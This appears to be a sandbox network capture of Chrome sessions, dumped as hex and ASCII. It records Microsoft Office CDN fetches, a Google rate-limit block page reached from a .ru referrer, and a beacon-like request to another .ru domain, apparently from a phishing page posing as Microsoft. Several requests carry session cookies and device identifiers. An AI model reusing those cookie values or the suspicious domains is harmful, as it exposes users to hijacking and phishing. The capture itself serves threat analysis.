2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_wordcapacity_2,afd_pptcapacity_2_control,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: 83539815046245F69A10248CD036128B Ref B: MIA301000108011 Ref C: 2024-04-26T07:59:54Z Date: Fri, 26 Apr 2024 07:59:53 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	49988	152.195.19.97	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:54 UTC	391	OUT	GET /wise-m/owl/5mttl/msit/100/manifest.json HTTP/1.1 Host: wise-m.public.cdn.office.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 07:59:54 UTC	1137	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET,HEAD,OPTIONS Access-Control-Allow-Origin: * Access-Control-Expose-Headers: date,X-Cdn-Provider,X-Ms-Request-Id Age: 232 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Cache-Control: max-age=300 Content-Type: application/json Date: Fri, 26 Apr 2024 07:59:54 GMT Last-Modified: Fri, 26 Apr 2024 05:18:29 GMT NEL: {"report_to":"NelM365CDNUpload1","max_age":604800,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} Report-To: {"group":"NelM365CDNUpload1","max_age":604800,"endpoints":[{"url":"https://M365CDN.nel.measure.office.net/api/report?FrontEnd=VerizonCDNWorldWide&DestinationEndpoint=Miami&ASN=174&Country=US&Region=FL&RequestIdentifier=1650581627377337395510497213673780643457"}],"include_subdomains ":true} Server: ECAcc (mid/8751) Strict-Transport-Security: max-age=31536000; includeSubDomains Timing-Allow-Origin: * Vary: Accept-Encoding X-Cache: HIT X-CDN-Provider: Verizon x-ms-request-id: 40c699ae-d01e-001a-16af-9709df000000 Content-Length: 3290 Connection: close
2024-04-26 07:59:54 UTC	3290	IN	Data Raw: 7b 22 63 6c 69 65 6e 74 56 65 72 73 69 6f 6e 22 3a 22 32 30 32 34 30 34 32 35 2e 33 22 2c 22 66 69 6c 65 73 22 3a 7b 22 6f 77 6c 2e 6a 73 22 3a 5b 22 6f 77 6c 2e 61 62 31 30 35 30 32 38 36 64 38 65 37 65 30 63 37 62 63 30 2e 6a 73 22 2c 22 73 68 61 33 38 34 2d 70 56 6e 7a 77 72 4b 71 36 57 38 69 51 56 46 6a 79 78 6b 6f 4a 73 46 78 55 4f 4d 63 4d 33 69 37 50 79 78 6b 65 59 47 52 4b 73 31 35 67 62 6c 4f 37 2b 77 4d 6f 79 43 6e 61 46 55 75 69 6d 33 68 22 5d 2c 22 6f 77 6c 2e 73 6c 69 6d 2e 6a 73 22 3a 5b 22 6f 77 6c 2e 73 6c 69 6d 2e 39 66 62 65 64 38 36 31 31 32 38 66 34 64 34 62 35 31 65 66 2e 6a 73 22 2c 22 73 68 61 33 38 34 2d 78 70 58 45 61 70 72 67 30 57 4d 31 69 7a 41 66 5a 72 49 5a 4d 2b 33 30 32 39 32 79 4a 59 6c 4e 37 6d 36 43 41 57 54 56 44 38 41 Data Ascii: {"clientVersion":"20240425.3","files":{"owl.js":["owl.ab1050286d8e7e0c7bc0.js","sha384-pVnzwrKq6W8iQVFjyxkoJsFxUOMcM3i7PyxkeYGRKs15gblO7+wMoyCnaFUuim3h"],"owl.slim.js":["owl.slim.9fbed861128f4d4b51ef.js","sha384-xpXEaprg0WM1izAfZrIZM+30292yJYlN7m6CAWTVD8A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	49985	172.217.3.68	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:54 UTC	1201	OUT	GET /sorry/index?continue=https://www.google.com/&q=EgRmgZjcGPq9rbEGIjCHdQ87I_8X7EpERwXOCmmjL9oKAXFr96F1WOmI1XIOeJbDFyiByqh7q9vy5JBTwvAyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM HTTP/1.1 Host: www.google.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://4odq.cxnev1.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: AEC=AQTF6HwHZem5vFin2CELHBujibfR_VKBhw-RxHuZ4iQNcAs6IR83VDOu_g; NID=513=DBYhgSCOZ75WC-YsllQZVMclfTH8MQkjyHSS5lJt-QpKNQehD1ai0JBLumK5auikQxpaPqxdnAM4hyzB56wkpAdWKtsTNJusUOaVu3z1AKzGvbqpHhqnZdaItcVM1WlZiS5_nxXP4HzBXtL9wGt-QDp5I3VwJ5JFALrtCSjXIjg
2024-04-26 07:59:55 UTC	356	IN	HTTP/1.1 429 Too Many Requests Date: Fri, 26 Apr 2024 07:59:55 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate Content-Type: text/html Server: HTTP server (unknown) Content-Length: 3057 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-26 07:59:55 UTC	899	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 74 69 74 6c 65 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 66 6f 6e 74 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"><meta name="viewport" content="initial-scale=1"><title>https://www.google.com/</title></head><body style="font
2024-04-26 07:59:55 UTC	1255	IN	Data Raw: 6f 6e 73 65 29 20 7b 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 63 61 70 74 63 68 61 2d 66 6f 72 6d 27 29 2e 73 75 62 6d 69 74 28 29 3b 7d 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 64 69 76 20 69 64 3d 22 72 65 63 61 70 74 63 68 61 22 20 63 6c 61 73 73 3d 22 67 2d 72 65 63 61 70 74 63 68 61 22 20 64 61 74 61 2d 73 69 74 65 6b 65 79 3d 22 36 4c 66 77 75 79 55 54 41 41 41 41 41 4f 41 6d 6f 53 30 66 64 71 69 6a 43 32 50 62 62 64 48 34 6b 6a 71 36 32 59 31 62 22 20 64 61 74 61 2d 63 61 6c 6c 62 61 63 6b 3d 22 73 75 62 6d 69 74 43 61 6c 6c 62 61 63 6b 22 20 64 61 74 61 2d 73 3d 22 70 33 50 74 56 72 39 52 74 63 34 7a 6d 56 7a 73 43 48 4b 6f 76 58 34 33 64 76 35 41 4e 6d 57 34 45 48 52 39 69 53 35 5a 52 4d 49 49 45 52 41 66 6a 47 4b 7a Data Ascii: onse) {document.getElementById('captcha-form').submit();};</script><div id="recaptcha" class="g-recaptcha" data-sitekey="6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b" data-callback="submitCallback" data-s="p3PtVr9Rtc4zmVzsCHKovX43dv5ANmW4EHR9iS5ZRMIIERAfjGKz
2024-04-26 07:59:55 UTC	903	IN	Data Raw: 6d 69 6e 67 20 66 72 6f 6d 20 79 6f 75 72 20 63 6f 6d 70 75 74 65 72 20 6e 65 74 77 6f 72 6b 20 77 68 69 63 68 20 61 70 70 65 61 72 20 74 6f 20 62 65 20 69 6e 20 76 69 6f 6c 61 74 69 6f 6e 20 6f 66 20 74 68 65 20 3c 61 20 68 72 65 66 3d 22 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 70 6f 6c 69 63 69 65 73 2f 74 65 72 6d 73 2f 22 3e 54 65 72 6d 73 20 6f 66 20 53 65 72 76 69 63 65 3c 2f 61 3e 2e 20 54 68 65 20 62 6c 6f 63 6b 20 77 69 6c 6c 20 65 78 70 69 72 65 20 73 68 6f 72 74 6c 79 20 61 66 74 65 72 20 74 68 6f 73 65 20 72 65 71 75 65 73 74 73 20 73 74 6f 70 2e 20 20 49 6e 20 74 68 65 20 6d 65 61 6e 74 69 6d 65 2c 20 73 6f 6c 76 69 6e 67 20 74 68 65 20 61 62 6f 76 65 20 43 41 50 54 43 48 41 20 77 69 6c 6c 20 6c 65 74 20 79 6f 75 20 63 6f 6e 74 69 Data Ascii: ming from your computer network which appear to be in violation of the <a href="//www.google.com/policies/terms/">Terms of Service</a>. The block will expire shortly after those requests stop. In the meantime, solving the above CAPTCHA will let you conti

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	49989	104.21.95.100	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:54 UTC	399	OUT	GET /vqyevmnspgsjgnxfpdshehidRBNanscfjAERXGCWEIDBUCORZFGRYIPNOYEUB HTTP/1.1 Host: yo5.6gniu68.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 07:59:55 UTC	612	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 07:59:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Uok19nuuEGhG2GSFE0vmjPwjWEMNuEOMHKU5U0ug01JNOlAsMVskT6rh5uk5cC%2F9fgpMsUB4eiW26wm%2BUTfuJJrlf6PjgTGTbRQgUqe%2F7bsgE%2Bgdtq%2BRtClbU9TCCnXHvg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87a50940d84ca566-MIA alt-svc: h3=":443"; ma=86400
2024-04-26 07:59:55 UTC	6	IN	Data Raw: 31 0d 0a 31 0d 0a Data Ascii: 11
2024-04-26 07:59:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	49991	152.195.19.97	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:55 UTC	678	OUT	GET /wise/owl/owl.ab1050286d8e7e0c7bc0.js HTTP/1.1 Host: wise.public.cdn.office.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://usigroups-my.sharepoint.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: application/signed-exchange;v=b3;q=0.7,/;q=0.8 Purpose: prefetch Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://usigroups-my.sharepoint.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 07:59:55 UTC	1184	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET,HEAD,OPTIONS Access-Control-Allow-Origin: * Access-Control-Expose-Headers: date,X-Cdn-Provider,X-Ms-Request-Id Age: 36610 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Cache-Control: max-age=31536000 Content-Type: application/javascript Date: Fri, 26 Apr 2024 07:59:55 GMT Last-Modified: Thu, 25 Apr 2024 21:45:13 GMT NEL: {"report_to":"NelM365CDNUpload1","max_age":604800,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} Report-To: {"group":"NelM365CDNUpload1","max_age":604800,"endpoints":[{"url":"https://M365CDN.nel.measure.office.net/api/report?FrontEnd=VerizonCDNWorldWide&DestinationEndpoint=Miami&ASN=174&Country=US&Region=FL&RequestIdentifier=221692964400516751416610060291005480819"}],"include_subdomains ":true} Server: ECAcc (mid/874A) Strict-Transport-Security: max-age=31536000; includeSubDomains Timing-Allow-Origin: * Vary: Accept-Encoding X-Cache: HIT X-CDN-Provider: Verizon X-Content-Type-Options: nosniff x-ms-request-id: f914ae8e-a01e-002f-4a5a-9765cb000000 Content-Length: 263429 Connection: close
2024-04-26 07:59:55 UTC	16383	IN	Data Raw: 76 61 72 20 4d 69 63 72 6f 73 6f 66 74 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6e 2c 65 2c 74 2c 6f 2c 69 3d 7b 39 33 32 33 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 65 2c 74 29 7b 74 2e 64 28 65 2c 7b 58 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 75 7d 7d 29 3b 76 61 72 20 6f 3d 74 28 34 34 30 31 29 2c 69 3d 74 28 38 35 37 29 2c 72 3d 74 28 37 36 35 29 2c 75 3d 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 29 7b 76 61 72 20 74 3d 6e 2e 63 61 6c 6c 28 74 68 69 73 29 7c 7c 74 68 69 73 3b 72 65 74 75 72 6e 20 74 2e 48 3d 65 2c 74 7d 72 65 74 75 72 6e 20 6f 2e 5a 54 28 65 2c 6e 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2e 70 72 6f 74 6f 74 79 Data Ascii: var Microsoft;!function(){"use strict";var n,e,t,o,i={9323:function(n,e,t){t.d(e,{X:function(){return u}});var o=t(4401),i=t(857),r=t(765),u=function(n){function e(e){var t=n.call(this)\|\|this;return t.H=e,t}return o.ZT(e,n),Object.defineProperty(e.prototy
2024-04-26 07:59:55 UTC	1	IN	Data Raw: 7d Data Ascii: }
2024-04-26 07:59:55 UTC	16383	IN	Data Raw: 28 6e 2c 65 2c 74 29 7d 7d 28 28 6f 3d 65 2e 63 6e 2e 73 70 6c 69 63 65 28 30 2c 6e 3f 65 2e 73 6e 3a 65 2e 63 6e 2e 6c 65 6e 67 74 68 29 2c 69 3d 65 2e 76 6e 2c 61 3d 65 2e 6c 6e 2c 73 3d 65 2e 64 6e 2c 6c 3d 5b 5d 2c 63 3d 6f 2e 6d 61 70 28 28 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 2c 65 2c 74 29 7b 76 61 72 20 6f 3d 7b 7d 3b 69 66 28 6f 2e 47 3d 6e 2e 74 61 67 2c 6f 2e 54 3d 6e 2e 74 69 6d 65 73 74 61 6d 70 2d 65 2c 6f 2e 4d 3d 6e 2e 6d 65 73 73 61 67 65 2c 6f 2e 43 3d 6e 2e 63 61 74 65 67 6f 72 79 2c 6e 2e 63 6f 72 72 65 6c 61 74 69 6f 6e 49 64 29 7b 76 61 72 20 69 3d 74 2e 66 69 6e 64 49 6e 64 65 78 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 3d 3d 3d 6e 2e 63 6f 72 72 65 6c 61 74 Data Ascii: (n,e,t)}}((o=e.cn.splice(0,n?e.sn:e.cn.length),i=e.vn,a=e.ln,s=e.dn,l=[],c=o.map((function(n){return function(n,e,t){var o={};if(o.G=n.tag,o.T=n.timestamp-e,o.M=n.message,o.C=n.category,n.correlationId){var i=t.findIndex((function(e){return e===n.correlat
2024-04-26 07:59:55 UTC	16383	IN	Data Raw: 2c 6e 2e 43 6c 69 65 6e 74 53 65 6e 64 54 69 6d 65 3d 22 74 22 7d 28 73 7c 7c 28 73 3d 7b 7d 29 29 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6e 5b 6e 2e 41 74 74 65 6d 70 74 54 6f 55 73 65 46 75 6e 63 74 69 6f 6e 61 6c 69 74 79 42 65 66 6f 72 65 49 69 74 69 61 6c 69 7a 61 74 69 6f 6e 3d 30 5d 3d 22 41 74 74 65 6d 70 74 54 6f 55 73 65 46 75 6e 63 74 69 6f 6e 61 6c 69 74 79 42 65 66 6f 72 65 49 69 74 69 61 6c 69 7a 61 74 69 6f 6e 22 2c 6e 5b 6e 2e 57 6f 72 6b 65 72 41 70 69 49 73 4e 6f 74 41 76 61 69 6c 61 62 6c 65 3d 31 5d 3d 22 57 6f 72 6b 65 72 41 70 69 49 73 4e 6f 74 41 76 61 69 6c 61 62 6c 65 22 2c 6e 5b 6e 2e 49 6e 76 61 6c 69 64 57 6f 72 6b 65 72 55 72 6c 3d 32 5d 3d 22 49 6e 76 61 6c 69 64 57 6f 72 6b 65 72 55 72 6c 22 2c 6e 5b 6e 2e 49 6e 73 74 61 6c Data Ascii: ,n.ClientSendTime="t"}(s\|\|(s={})),function(n){n[n.AttemptToUseFunctionalityBeforeIitialization=0]="AttemptToUseFunctionalityBeforeIitialization",n[n.WorkerApiIsNotAvailable=1]="WorkerApiIsNotAvailable",n[n.InvalidWorkerUrl=2]="InvalidWorkerUrl",n[n.Instal
2024-04-26 07:59:55 UTC	16383	IN	Data Raw: 54 72 61 63 65 54 61 67 28 35 35 33 37 32 36 32 38 37 2c 69 2e 57 2e 64 6f 2c 72 2e 47 2e 49 6e 66 6f 2c 22 47 65 74 57 6f 70 69 44 61 74 61 3a 20 47 65 74 74 69 6e 67 20 57 6f 70 69 48 6f 73 74 44 61 74 61 20 66 72 6f 6d 20 64 72 69 76 65 20 69 74 65 6d 2e 20 5b 49 73 56 61 6c 69 64 3a 20 22 2e 63 6f 6e 63 61 74 28 21 21 68 2c 22 5d 22 29 29 3b 76 61 72 20 70 3d 7b 73 74 61 72 74 54 69 6d 65 3a 66 2c 65 6e 64 54 69 6d 65 3a 28 30 2c 6f 2e 56 46 29 28 29 7d 3b 72 65 74 75 72 6e 28 30 2c 6f 2e 6c 35 29 28 22 77 6f 70 69 44 61 74 61 45 6e 64 54 69 6d 65 22 29 2c 7b 64 6f 63 75 6d 65 6e 74 49 64 65 6e 74 69 66 69 65 72 3a 76 2c 77 6f 70 69 48 6f 73 74 44 61 74 61 3a 68 2c 66 65 74 63 68 44 69 61 67 6e 6f 73 74 69 63 73 3a 70 7d 7d 29 29 2e 63 61 74 63 68 28 Data Ascii: TraceTag(553726287,i.W.do,r.G.Info,"GetWopiData: Getting WopiHostData from drive item. [IsValid: ".concat(!!h,"]"));var p={startTime:f,endTime:(0,o.VF)()};return(0,o.l5)("wopiDataEndTime"),{documentIdentifier:v,wopiHostData:h,fetchDiagnostics:p}})).catch(
2024-04-26 07:59:55 UTC	16383	IN	Data Raw: 61 70 70 65 64 20 6e 6f 74 20 6c 6f 61 64 65 64 3a 20 22 2e 63 6f 6e 63 61 74 28 21 74 29 3b 6e 75 6c 6c 3d 3d 4c 7c 7c 4c 2e 55 4c 53 2e 73 65 6e 64 54 72 61 63 65 54 61 67 28 35 37 35 34 31 39 34 30 33 2c 76 2e 57 2e 64 6f 2c 68 2e 47 2e 45 72 72 6f 72 2c 75 29 3b 76 61 72 20 61 3d 7b 77 61 63 45 72 72 6f 72 4e 61 6d 65 3a 63 2e 41 55 2e 6b 6f 2c 71 6f 73 45 72 72 6f 72 4e 61 6d 65 3a 63 2e 44 47 2e 51 6f 73 45 72 72 6f 72 5f 4f 66 66 69 63 65 42 6f 6f 74 73 74 72 61 70 70 65 72 4e 6f 74 4c 6f 61 64 65 64 2c 65 72 72 6f 72 4d 65 73 73 61 67 65 3a 75 2c 65 72 72 6f 72 3a 72 2c 69 6e 53 74 61 67 69 6e 67 3a 21 31 7d 3b 69 26 26 69 28 61 29 7d 7d 29 29 2e 63 61 74 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 73 28 6e 29 7d 29 29 29 2c 5b 32 5d 7d 29 29 Data Ascii: apped not loaded: ".concat(!t);null==L\|\|L.ULS.sendTraceTag(575419403,v.W.do,h.G.Error,u);var a={wacErrorName:c.AU.ko,qosErrorName:c.DG.QosError_OfficeBootstrapperNotLoaded,errorMessage:u,error:r,inStaging:!1};i&&i(a)}})).catch((function(n){s(n)}))),[2]}))
2024-04-26 07:59:55 UTC	16383	IN	Data Raw: 72 61 6d 65 50 61 67 65 52 65 73 70 6f 6e 73 65 53 74 61 72 74 54 69 6d 65 3a 28 6e 75 6c 6c 3d 3d 65 3f 76 6f 69 64 20 30 3a 65 2e 74 69 6d 69 6e 67 2e 72 65 73 70 6f 6e 73 65 53 74 61 72 74 29 7c 7c 30 2c 6f 77 6c 46 72 61 6d 65 50 61 67 65 52 65 73 70 6f 6e 73 65 45 6e 64 54 69 6d 65 3a 28 6e 75 6c 6c 3d 3d 65 3f 76 6f 69 64 20 30 3a 65 2e 74 69 6d 69 6e 67 2e 72 65 73 70 6f 6e 73 65 45 6e 64 29 7c 7c 30 2c 6f 77 6c 46 72 61 6d 65 50 61 67 65 44 6f 6d 43 6f 6d 70 6c 65 74 65 54 69 6d 65 3a 28 6e 75 6c 6c 3d 3d 65 3f 76 6f 69 64 20 30 3a 65 2e 74 69 6d 69 6e 67 2e 64 6f 6d 43 6f 6d 70 6c 65 74 65 29 7c 7c 30 2c 6f 77 6c 46 72 61 6d 65 50 61 67 65 52 65 64 69 72 65 63 74 43 6f 75 6e 74 3a 28 6e 75 6c 6c 3d 3d 65 3f 76 6f 69 64 20 30 3a 65 2e 6e 61 76 69 Data Ascii: ramePageResponseStartTime:(null==e?void 0:e.timing.responseStart)\|\|0,owlFramePageResponseEndTime:(null==e?void 0:e.timing.responseEnd)\|\|0,owlFramePageDomCompleteTime:(null==e?void 0:e.timing.domComplete)\|\|0,owlFramePageRedirectCount:(null==e?void 0:e.navi
2024-04-26 07:59:55 UTC	16383	IN	Data Raw: 74 43 44 69 6d 65 6e 73 69 6f 6e 28 22 57 69 73 65 45 6e 76 69 72 6f 6e 6d 65 6e 74 22 2c 74 2e 74 6f 53 74 72 69 6e 67 28 29 29 2c 74 68 69 73 2e 68 65 61 6c 74 68 2e 61 64 64 4f 72 55 70 64 61 74 65 50 61 72 74 43 44 69 6d 65 6e 73 69 6f 6e 28 22 45 78 70 6f 73 75 72 65 22 2c 6e 75 6c 6c 21 3d 3d 28 68 3d 6e 75 6c 6c 3d 3d 69 3f 76 6f 69 64 20 30 3a 69 2e 74 6f 53 74 72 69 6e 67 28 29 29 26 26 76 6f 69 64 20 30 21 3d 3d 68 3f 68 3a 22 6e 2f 61 22 29 7d 3b 66 75 6e 63 74 69 6f 6e 20 6c 28 29 7b 76 61 72 20 6e 2c 65 3d 6e 75 6c 6c 3d 3d 3d 28 6e 3d 70 65 72 66 6f 72 6d 61 6e 63 65 2e 67 65 74 45 6e 74 72 69 65 73 42 79 54 79 70 65 28 22 6e 61 76 69 67 61 74 69 6f 6e 22 29 5b 30 5d 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 6e 3f 76 6f 69 64 20 30 3a 6e 2e 74 6f Data Ascii: tCDimension("WiseEnvironment",t.toString()),this.health.addOrUpdatePartCDimension("Exposure",null!==(h=null==i?void 0:i.toString())&&void 0!==h?h:"n/a")};function l(){var n,e=null===(n=performance.getEntriesByType("navigation")[0])\|\|void 0===n?void 0:n.to
2024-04-26 07:59:55 UTC	16383	IN	Data Raw: 69 6c 69 74 79 4c 6f 6f 70 3a 6e 75 6c 6c 3d 3d 74 3f 76 6f 69 64 20 30 3a 74 2e 73 75 70 70 6f 72 74 73 41 63 63 65 73 73 69 62 69 6c 69 74 79 4c 6f 6f 70 2c 63 75 73 74 6f 6d 41 75 74 68 43 6f 6e 66 69 67 3a 6e 75 6c 6c 3d 3d 74 3f 76 6f 69 64 20 30 3a 74 2e 73 75 70 70 6f 72 74 73 43 75 73 74 6f 6d 41 75 74 68 43 6f 6e 66 69 67 2c 64 69 72 65 63 74 50 72 69 6e 74 3a 6e 75 6c 6c 3d 3d 3d 28 61 3d 6e 75 6c 6c 3d 3d 74 3f 76 6f 69 64 20 30 3a 74 2e 73 75 70 70 6f 72 74 73 44 69 72 65 63 74 50 72 69 6e 74 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 61 7c 7c 61 2c 64 69 72 65 63 74 44 6f 77 6e 6c 6f 61 64 3a 6e 75 6c 6c 3d 3d 74 3f 76 6f 69 64 20 30 3a 74 2e 73 75 70 70 6f 72 74 73 44 69 72 65 63 74 44 6f 77 6e 6c 6f 61 64 7d 2c 75 69 48 6f 73 74 4e 61 6d 65 3a 28 Data Ascii: ilityLoop:null==t?void 0:t.supportsAccessibilityLoop,customAuthConfig:null==t?void 0:t.supportsCustomAuthConfig,directPrint:null===(a=null==t?void 0:t.supportsDirectPrint)\|\|void 0===a\|\|a,directDownload:null==t?void 0:t.supportsDirectDownload},uiHostName:(
2024-04-26 07:59:55 UTC	7	IN	Data Raw: 65 2e 72 65 6d 6f 76 Data Ascii: e.remov

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	49990	52.108.9.12	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:55 UTC	894	OUT	GET /o/RemoteTelemetry.ashx?usid=d19e0541-59c5-9a5e-8e10-18de22c9153f&build=16.0.17601.41008&waccluster=PUS6 HTTP/1.1 Host: usc-onenote.officeapps.live.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; PrivNote=-1; WacUPToggleState=%7B%22CCS%22%3A0%7D; PUS6-ARRAffinity=cef501cb080d3b02baa5afd04addeaae023ae53b0262f256a03a16339d1987de; PUS9-ARRAffinity=ced079449095b2f8730f0411e34b3fe9a83a7283597ce6ca7087d95cbdd29929; MicrosoftApplicationsTelemetryDeviceId=3fe0b053-f595-48a0-bf8a-ccabe1078356
2024-04-26 07:59:55 UTC	1069	IN	HTTP/1.1 400 Bad Request Cache-Control: private Transfer-Encoding: chunked Content-Type: text/html P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 2dc440db-e2eb-456d-8692-49c4a4d2abe3 X-UserSessionId: d19e0541-59c5-9a5e-8e10-18de22c9153f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: SN3PEPF0000DD5F X-OfficeVersion: 16.0.17601.41008 X-OfficeCluster: PUS6 X-Partitioning-Enabled: true X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF0000DD5F X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: 